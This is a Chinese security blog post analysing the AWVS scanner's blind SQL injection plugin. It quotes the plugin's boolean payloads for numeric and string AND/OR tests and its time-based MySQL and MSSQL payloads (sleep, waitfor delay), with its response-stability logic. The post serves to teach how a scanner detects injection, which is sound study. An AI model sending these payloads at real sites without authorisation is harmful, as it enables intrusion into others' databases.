在上一篇文章中，我们提到了AWVS的几个插件，并对其中的 classXSS, classSQLI等几个插件进行了分析， 接下来的重头戏是对AWVS的盲注插件的分析， 即在 ./PerScheme/Blind_Sql_Injection.script这一插件的分析。
在这个插件中， 可以看到由类 classBlindSQLInj和以下几个函数构成：
classBlindSQLInj.prototype.getOrigValue classBlindSQLInj.prototype.extractTextFromBody classBlindSQLInj.prototype.filterBody classBlindSQLInj.prototype.alert classBlindSQLInj.prototype.request classBlindSQLInj.prototype.checkIfResponseIsStable classBlindSQLInj.prototype.addToConfirmInjectionHistory classBlindSQLInj.prototype.addToConfirmInjectionHistoryTiming classBlindSQLInj.prototype.confirmInjection classBlindSQLInj.prototype.confirmInjectionWithOR classBlindSQLInj.prototype.confirmInjectionWithOR2 classBlindSQLInj.prototype.testInjection classBlindSQLInj.prototype.testInjectionWithOR classBlindSQLInj.prototype.testInjectionWithOR2 classBlindSQLInj.prototype.confirmInjectionOrderBy classBlindSQLInj.prototype.testInjectionOrderBy classBlindSQLInj.prototype.genSleepString classBlindSQLInj.prototype.genBenchmarkSleepString classBlindSQLInj.prototype.testTiming classBlindSQLInj.prototype.testBenchmarkTiming classBlindSQLInj.prototype.testOOB classBlindSQLInj.prototype.startTesting
在上一篇中提到，像 alert这种函数，其实是在获取到漏洞信息之后反馈给AWVS的系统用于记录的，所以可以不关注。同时根据对 sqli-labs进行测试后发现，其实AWVS对于 benchmark注入的算法并不算太精确， 这点在后面会提到 ，所以重点放在了 testInjection, testInjectionWithOR, testInjectionWithOR2 等函数中。 接下来还是以入口进行分析，在该插件中，入口是一个for循环，
for (var i=0;i<scheme.inputCount; i++) //scheme类似于参数变量的list或者dict
{
var tester = new classBlindSQLInj(scheme, i); //取出某一参数，生成一个classBlindSQLInj对象，
tester.inputName = scheme.getInputName(i);
tester.inputNameLC = tester.inputName.toLowerCase();
tester.startTesting(); //开始测试
所以，重点还是在于classBlindSQLInj这个类中，下面我们开始对这个类进行分析
在上一小节所列出的classBlindSQLInj这个类中函数，我们可以将其分为以下几类：
测试函数，包括testInjection,testOOB,testTiming
确认函数，包括confirmInjection,confirmInjectionWithOR等
功能函数，包括filterBody，extractTextFromBody，checkIfResponseIsStable等函数
下面我们进行功能函数的分析，再进行测试函数的分析，最后是确认函数的分析
extractTextFromBody函数
怎么说呢， 其实开发都应该向AWVS一样，将函数名写的十分的易懂。 这个函数如其名称，是从html文本中提出text, 而减少了关于不同访问的标签属性的变化而带来的影响（猜的）。 具体看一下：
var tokens = htmlTokens(body); //词法分析后，取出所有的标签
var str = "";
var includeText = true;
while (token = tokens.nextToken()) {
if (token.isTag){
if (token.tagName == 'STYLE') includeText = false;
else if (token.tagName == '/STYLE') includeText = true;
else if (token.tagName == 'SCRIPT') includeText = false;
else if (token.tagName == '/SCRIPT') includeText = true;
}
else if (token.isText) {
if (includeText) str = str + token.raw + "\n";
}
}
return str;
代码其实很简单了，将body中的标签取出，一旦遇到/STYLE和/SCRIPT的标签，其includeText为TRUE，虽然htmlToken这个函数没有具体的代码，但是应该不难猜测类似于js中的dom树。python中bs4这个库中也相关的函数如：.next_sibling等。一言以敝之， 这个函数是去标签化的过程。
filterBody函数
在了解了上一个函数之后， filterBody也就很好分析了
var ct = this.lastJob.response.headerValue('content-type').toLowerCase();
if (ct == "" || ct.indexOf('html') != -1)
body = this.extractTextFromBody(body);
body = body.replace(/([0-1]?[0-9]|[2][0-3]):([0-5][0-9])[.|:]([0-9][0-9])/g, "");
body = body.replace(/time\s*[:]\s*\d+\.?\d*/g, "");
if (testValue && this.origValue.length >= 4) {
body = body.replaceAll(testValue, "");
}
if (testValue && this.origValue && testValue.length > this.origValue.length) {
var partialValue = testValue.replaceAll(this.origValue, "");
body = body.replaceAll(partialValue, "");
}
if (this.origValue && this.origValue.length >= 4)
body = body.replaceAll(this.origValue, "");
return body;
首先判断 Content-Type的响应是否包含了 html字段，其次过滤掉了时间相关的字段值，最后处理原始值与测试值是否需要在响应中去除，最后返回结果。
checkIfResponseIsStable函数
对于时延注入来说， 检测响应是否稳定应该是相对比较重要的功能了。 AWVS的实现方式如下：
对原始参数值分别请求两次， 获取其body1= filterBody(), body2= filterBody() 和响应的时间time1, time2
如果在请求原始参数过程中报错了，直接return。如果请求未出错，则计算在两次原始参数值请求中所消耗的最短时长 shortDuration, 与最长时间 longDuration, 这两个变量首先在类创建的时候是有一个初始值的，如 longDuration=6， shortDuration=2， 在进行这两次原始值的请求后，对变量的更新操作如下：
min_time = min(time1, time2) max_time = max(time1, time2) shortDuration = max(shortDuration, max_time) + 1 longDuration = shortDuration * 2
在AWVS中的responseStable中，分别对responseTimingIsStable,responseIsStable与inputIsStable做了检测,在得到上面shortDuration和longDuration之后，下边是如何就几种Stable的类型做判断的
# 检测responseTimingIsStable if (max_time - min_time > shortDuration): responseTimingIsStable = False; else: responseTimingIsStable = true #检测responseIsStable if body1 != body2: responseIsStable = False return True # 返回True意味着函数`checkResponseIsStable`执行成功，并且在请求参数时未返回错误，并不是说responseIsStable = True， 这一点要注意 else: responseIsStable=True # 检测InputIsStable if len(body1) == 0: inputIsStable = False return True
如果到这一步还没有return,那么继续进行下一步,生成一个随机数来检测响应是否稳定,即生成一个随机数var3,用它当参数来请求获取body3=filterBody()与time3并用time3与min_time和max_time做比较来得出新的min_time和max_time.之后重新进行三种Stable状态的判断
# responseTimingStable if max_time - min_time > shortDuration: responseTimingIsStable=False else: responseTimingIsStable = True if shortDuation > 10: responseTimingIsStable = False # inputIsStable if (body1 == body2 and body1 != body3): inputIsStable=True else: inputIsStable=False
在功能函数讲完之后， 下一步我们先进行确认函数的分析，最后才是测试函数. 先看一下awvs的 confirmInjection函数的定义
confirmInjection函数
classBlindSQLInj.prototype.confirmInjection = function(varIndex, quoteChar, likeInjection, confirmed)
其中
varIndex 表示在本次测试的参数在所有参数中所占的位置
quoteChar 表示特殊的字符 如 ', "等
likeInjection 表示是否是like注入，
confirmed 表示是否已经确认过了
然后声明了几个变量
variation //变量 origValue //原始值 origBody // 原始响应 testBody // 测试值响应 randNum // 一个小于1000的随机数 randString //一个字个字符的随机字符串, 如果变量是数字型的， randString == randNum likeStr // 取值为 `%` 如果是LikeInjection, likeStr就赋值为 %
接着在测试的主体中，将参数值分成了数字与字符两种，对于数字的型的测试流程如下,awvs的测试 payload很多，主要是True/False两种，下面只对每一种举例：
//TEST TRUE
paramValue = (origValueAsInt).toString() + "*1*1";
if (!this.request(variation, paramValue)) return false;
testBody = this.filterBody(this.lastJob.response.body, paramValue);
if (testBody != origBody) {
return false;
}
//TEST FALSE
paramValue = (origValueAsInt + 10).toString() + "*5*2*999";
if (!this.request(variation, paramValue)) return false;
testBody = this.filterBody(this.lastJob.response.body, paramValue);
if (testBody == origBody) {
return false;
}
将一些调试信息过滤后，其主要的测试步骤如上:对于True的Payload生成条件为: (origValueAsInt).toString()+"*1*1", 如原始值为2, 那么payload为：2*1*1, 然后如果请求没有出错，那么将响应值对于filterBody函数所过滤过出的testBody与origBody相对比,如果两个值不相等,即判定为不存在注入漏洞。
因为如果存在注入漏洞时,2*1*1 的响应应该等于 2。相对应的,测试False的Payload值：(origValueAsInt+10).toString()+"*5*2*999" 对其响应做处理后判断与origBody相等,则判定不存在漏洞,直接return
没错,对于数字的注入只用了这两种方法,惊喜不惊喜,意外不意外,开心不开心?其所有的payload如下:
//TEST TRUE paramValue = "1*1*1*" + origValue; paramValue = (origValueAsInt).toString() + "*1*1"; paramValue = "1*1*1*1*1*" + (origValueAsInt).toString(); //TEST FALSE paramValue = origValue + "*" + randNum.toString() + "*" + (randNum-5).toString() + "*0 paramValue = (origValueAsInt + 10).toString() + "*5*2*999"; paramValue = (origValueAsInt + 10).toString() + "*1*1*0*1*1*" + randNum;
其函数主体是对这六个Payload的乱序请求， 一旦其中一个payload返回的False, 直接返回False。
接下来是测试字符串的payload， 同样还是对于true/false的payload举例两个：
//TEST TRUE
paramValue = origValue + likeStr + quoteChar + " AND 3*2*0>=0 AND " + quoteChar + randString + quoteChar + equalitySign + quoteChar + randString + likeStr;
if (!this.request(variation, paramValue)) return false;
testBody = this.filterBody(this.lastJob.response.body, paramValue);
if (testBody != origBody) {
return false;
}
// TEST FALSE
paramValue = origValue + likeStr + quoteChar + " AND 3*3*9<(2*4) AND " + quoteChar + randString + quoteChar + equalitySign + quoteChar + randString + likeStr;
if (!this.request(variation, paramValue)) return false;
testBody = this.filterBody(this.lastJob.response.body, paramValue);
if (testBody == origBody) {
return false;
}
同样的，payload的生成规则与数字一样， 就不再重复叙述了， 这里把awvs中的payload列下
//TEST TRUE paramValue = origValue + likeStr + quoteChar + " AND 2*3*8=6*8 AND " + quoteChar + randString + quoteChar + equalitySign + quoteChar + randString + likeStr; paramValue = origValue + likeStr + quoteChar + " AND 3*2>(1*5) AND " + quoteChar + randString + quoteChar + equalitySign + quoteChar + randString + likeStr; paramValue = origValue + likeStr + quoteChar + " AND 3*2*0>=0 AND " + quoteChar + randString + quoteChar + equalitySign + quoteChar + randString + likeStr; //TEST FALSE paramValue = origValue + likeStr + quoteChar + " AND 3*3*9<(2*4) AND " + quoteChar + randString + quoteChar + equalitySign + quoteChar + randString + likeStr; paramValue = origValue + likeStr + quoteChar + " AND 3*3<(2*4) AND " + quoteChar + randString + quoteChar + equalitySign + quoteChar + randString + likeStr; paramValue = origValue + likeStr + quoteChar + " AND 2*3*8=6*9 AND " + quoteChar + randString + quoteChar + equalitySign + quoteChar + randString + likeStr;
除了数字与字符型的payload，awvs还提供了一种common型，即不管数字或者字符都可以直接用的..检测过程一样，直接上payload：
//TEST TRUE paramValue = origValue + likeStr + quoteChar + " AND 5*4=20 AND " + quoteChar + randString + quoteChar + equalitySign + quoteChar + randString + likeStr; paramValue = origValue + likeStr + quoteChar + " AND 7*7>48 AND " + quoteChar + randString + quoteChar + equalitySign + quoteChar + randString + likeStr; paramValue = origValue + likeStr + quoteChar + " AND 3*2*1=6 AND " + quoteChar + randString + quoteChar + equalitySign + quoteChar + randString + likeStr; //TEST FALSE paramValue = origValue + likeStr + quoteChar + " AND 5*4=21 AND " + quoteChar + randString + quoteChar + equalitySign + quoteChar + randString + likeStr; paramValue = origValue + likeStr + quoteChar + " AND 5*6<26 AND " + quoteChar + randString + quoteChar + equalitySign + quoteChar + randString + likeStr; paramValue = origValue + likeStr + quoteChar + " AND 3*2*0=6 AND " + quoteChar + randString + quoteChar + equalitySign + quoteChar + randString + likeStr;
当然当然，awvs并不只是有and的注入，还包括or的注入，同时因为or的注入也是通过检测testBody是否与origBody相符来判断的，所以老规矩，举例两个然后直接上payload
confirmInjectionWithOR与confirmInjectionWithOR2函数
其测试TRUE与FALSE的条件如下：
// TEST TRUE
paramValue = origValue + quoteChar + " OR 2+" + randNum + "-" + randNum + "-1=0+0+0+1 or " + quoteChar + randStrLong + quoteChar + "=" + quoteChar;
if (!this.request(variation, paramValue)) return false;
testBody = this.filterBody(this.lastJob.response.body, paramValue);
if (testBody == origBody) {
return false;
}
//TEST FALSE
paramValue = origValue + quoteChar + " OR 3+" + randNum + "-" + randNum + "-1=0+0+0+1 or " + quoteChar + randStrLong + quoteChar + "=" + quoteChar;
if (!this.request(variation, paramValue)) return false;
testBody = this.filterBody(this.lastJob.response.body, paramValue);
if (testBody == trueBody) {
return false;
}
与上一个小节的confirmInjection一样，通过不同的or条件下testBody与origBody是否一致来判断漏洞的存在与否，其payload如下:
//TEST TRUE paramValue = origValue + quoteChar + " OR 2+" + randNum + "-" + randNum + "-1=0+0+0+1 or " + quoteChar + randStrLong + quoteChar + "=" + quoteChar; paramValue = origValue + quoteChar + " OR 3*2>(0+5+" + randNum + "-" + randNum + ") or " + quoteChar + randStrLong + quoteChar + "=" + quoteChar; paramValue = origValue + quoteChar + " OR 2+1-1-1=1 AND " + randString + "=" + randString + " or " + quoteChar + randStrLong + quoteChar + "=" + quoteChar; paramValue = origValue + quoteChar + " OR 3*2=6 AND " + randString + "=" + randString + " or " + quoteChar + randStrLong + quoteChar + "=" + quoteChar; paramValue = origValue + quoteChar + " OR 3*2*1=6 AND " + randString + "=" + randString + " or " + quoteChar + randStrLong + quoteChar + "=" + quoteChar; // TEST FALSE paramValue = origValue + quoteChar + " OR 3*2*0=6 AND " + randString + "=" + randString + " or " + quoteChar + randStrLong + quoteChar + "=" + quoteChar; paramValue = origValue + quoteChar + " OR 3*2=5 AND " + randString + "=" + randString + " or " + quoteChar + randStrLong + quoteChar + "=" + quoteChar; paramValue = origValue + quoteChar + " OR " + randString + "=" + randString + " AND 3+1-1-1=1 or " + quoteChar + randStrLong + quoteChar + "=" + quoteChar; paramValue = origValue + quoteChar + " OR 3*2<(0+5+" + randNum + "-" + randNum + ") or " + quoteChar + randStrLong + quoteChar + "=" + quoteChar; paramValue = origValue + quoteChar + " OR 3+" + randNum + "-" + randNum + "-1=0+0+0+1 or " + quoteChar + randStrLong + quoteChar + "=" + quoteChar;
其函数主体是对上述的payload进行乱序请求，如果某一条未返回False, 则直接返回 False，否则返回True
测试函数
BO！BO！BO！ 下面看一下awvs的时延注入检测函数，这一部分需要跨度两个函数，即：testTiming与startTest，其实startTest相当于入口函数了。
testTiming函数
在分析这个函数的时候，首先我们需要进入startTest函数看一下payload相关代码， 同样，因为包含了mysql,mssql等，这里只分析一下mysql的， mssql的相关代码同样是使用了 testTiming的函数， 可以payload来自己分析
if (this.testTiming(i, "if(now()=sysdate(),sleep({SLEEP}),0)/*'XOR(if(now()=sysdate(),sleep({SLEEP}),0))OR'\"XOR(if(now()=sysdate(),sleep({SLEEP}),0))OR\"*/")) return true;
// mysql generic variant
if (this.testTiming(i, "(select(0)from(select(sleep({SLEEP})))v)/*'+(select(0)from(select(sleep({SLEEP})))v)+'\"+(select(0)from(select(sleep({SLEEP})))v)+\"*/")) return true;
上边将两条Payload传入了testTiming函数
//payload1
"if(now()=sysdate(),sleep({SLEEP}),0)/*'XOR(if(now()=sysdate(),sleep({SLEEP}),0))OR'\"XOR(if(now()=sysdate(),sleep({SLEEP}),0))OR\"*/"
//payload2
"(select(0)from(select(sleep({SLEEP})))v)/*'+(select(0)from(select(sleep({SLEEP})))v)+'\"+(select(0)from(select(sleep({SLEEP})))v)+\"*/"
这里看到有{SLEEP}标志符,后边会用它来替换成将要休眠的秒数 在函数中首先有四个函数分别是：
stepLongDelay stepZeroDelay stepMidDelay stepVeryLongDelay
这四个函数分别对应休眠秒数为 long, zero, mid, verylong这四个级别的长度的检测方法，而这四个长度是由上文提到的 longDuration与 shortDuration这两个变量相互组合而来的，是简单的加减法，在函数 genSleepString中，不再多叙述。
接下来分别用 lzvm分别代表 long, zero, verylong, mid这四个级别，生成了一个由 lzvm字符排列的序列， 并附加了一个固定的字符串 zzzlz：
var permutations = new Array("lzvm", "lzmv", "lvzm", "lvmz", "lmzv", "lmvz", "vzlm", "vzml", "vlzm", "vlmz", "vmzl", "vmlz", "mzlv", "mzvl", "mlzv", "mlvz", "mvzl", "mvlz");
var permutation = permutations[permIndex] + "zzzlz";
对于这里的每一个字符，调用对应的函数来检测， 这里举 verylong来举例
this.stepVeryLongDelay = function () {
var veryLongDuration = (this.shortDuration + this.longDuration);
paramValue = origParamValue.replace(/{SLEEP}/g, this.genSleepString("verylong"));
paramValue = paramValue.replace(/{ORIGVALUE}/g, this.origValue);
paramValue = paramValue.replace(/{RANDSTR}/g, randStr(8));
if (!this.request(variation, paramValue, timeOutSecs*1000, dontEncode)) return false;
Time4 = this.lastJob.responseDuration/1000;
if (Time4 < (veryLongDuration * 99/100)) return false;
return true;
}
可以看出实现很简单，替换 {SLEEP}等替代符之后，发送请求判断响应时间与预定时间的大小来对漏洞是否存在返回TRUE/FALSE， 后边还对这四个函数的返回值如time1,time2,time3,time4做了一个简单的比较，举例来说，time1代表 verylong级别，time2代表 mid级别， 那么如果 time1<time2， 表示注入不存在。 其他函数与此相同，不再多叙述。 除此之外，关于mysql的还有 benchmark这种关于时延注入的payload， 但是在awvs中， benchmark不同次数之后与一个固定的秒数相比较， 可能会因为网络的原因而出现误报， 所以本次不进行分析，不过大致的流程与上边的sleep是一样的， 可以自己看一下代码
startTesting函数
看到这里，应该对整个脚本的流程有了一个清楚的认识，我们先看整个函数的代码是怎么样的：
classBlindSQLInj.prototype.startTesting = function()
{
if (this.origValue == "")
{
this.origValue = "1";
this.isNumeric = true;
}
for (var i=0; i<this.variations.count; i++)
{
if (this.foundVulnOnVariation) break;
if (!this.checkIfResponseIsStable(i)) return false;
var doBooleanTests = true;
var doTimingTests = true;
var doTimingTestsMySQL = true;
...
// for bounties do more tests even if they have false positives
if (bounties) {
var doBooleanTests = true;
var doTimingTests = true;
...
}
if (doBooleanTests) {
if (this.inputIsStable) {
// numeric
if (this.isNumeric && this.testInjection(i, '', false)) return true;
// single quote
if (this.testInjection(i, "'", false)) return true;
// double quote
if (this.testInjection(i, '"', false)) return true;
// single quote, inside like
if (this.testInjection(i, "'", true)) return true;
// for special named parameters make do the order/group by tests
if ((this.inputNameLC.indexOf("order") != -1 || this.inputNameLC.indexOf("group") != -1 || this.inputNameLC.indexOf("sort") != -1)
&& this.testInjectionOrderBy(i)) return true;
}
else
{
if (this.testInjectionWithOR(i, '')) return true;
if (this.testInjectionWithOR(i, '', true)) return true;
if (this.testInjectionWithOR(i, "'")) return true;
if (this.testInjectionWithOR2(i, "'")) return true;
if (this.testInjectionWithOR(i, '"')) return true;
}
}
// timing tests
if (doTimingTests) {
if (this.responseTimingIsStable) {
if (doTimingTestsMySQL) {
if (this.testTiming(i, "if(now()=sysdate(),sleep({SLEEP}),0)/*'XOR(if(now()=sysdate(),sleep({SLEEP}),0))OR'\"XOR(if(now()=sysdate(),sleep({SLEEP}),0))OR\"*/")) return true;
if (this.testTiming(i, "(select(0)from(select(sleep({SLEEP})))v)/*'+(select(0)from(select(sleep({SLEEP})))v)+'\"+(select(0)from(select(sleep({SLEEP})))v)+\"*/")) return true;
if (doTimingTestsMySQLBenchmark) {
...
}
// the perl jam
if (this.scheme.path) {
...
}
}
if (doTimingTestsMSSQL) {
if (this.isNumeric && this.testTiming(i, "-1; waitfor delay '0:0:{SLEEP}' -- ")) return true;
if (this.isNumeric && this.testTiming(i, "-1); waitfor delay '0:0:{SLEEP}' -- ")) return true;
...
if (doTimingTestsMSSQLExtra) {
...
}
}
if (doTimingTestsPostgreSQL) {
...
if (doTimingTestsPostgreSQLExtra) {
...
}
}
if (doTimingTestsRails) {
// for Rails make some extra checks
if (isRails) {
...
}
}
}
}
if (doOOBTests) {
...
}
}
}
首先是为没有值的参数设置了默认的数字 1作为其值，然后初始化一些变量，接着根据变量的值来判断是否进行mysql, mssql,postsql等数据库的测试，并通过不同的字符如 ', "等来调用前边分析的函数进行时延，布尔等注入类型的测试， 代码相对比较简单，结合前边的几个主要函数，可以对盲注更深入的了解了。
本篇文章主要对awvs的盲注进行了简单的分析，通过分析它的函数代码，可以学习到一款成熟的扫描器是如何就SQL注入这个漏洞进行的分析与利用，同时对于自己扫描器中的也可以增加一款新插件。 另外不知道有没有注入到一点，在盲注这一个脚本中，并没有发现宽字符注入这一个注入点的检测，所以还可以就这几个函数，新增加一个检测宽字符注入的payload, 百尺竿头，更进一步。 另外还有order by的注入也在里边，有兴趣的可以看一下，流程与上边的类似。
对AWVS的一次简单分析
https://paper.seebug.org/461/
mysql-blind sql injection with awvs
https://security.stackexchange.com/questions/137251/blind-sql-injection-with-acunetrix-vulnerability-scanner#160103
awvs blindsqlinjection.script
https://github.com/fnmsd/awvs_script_decode/blob/master/Scripts/PerScheme/Blind_Sql_Injection.script
从AWVS插件到伪代理扫描
本文作者：71SRC
本文为安全脉搏专栏作者发布，转载请注明：https://www.secpulse.com/archives/73253.html
必填 您当前尚未登录。 登录？ 注册
必填（保密）感谢分享[em_1]。 阅读过程中遇到一个问题，ConfirmInjection中的variation(变量)的作用是什么？ 和InputName的区别是什么？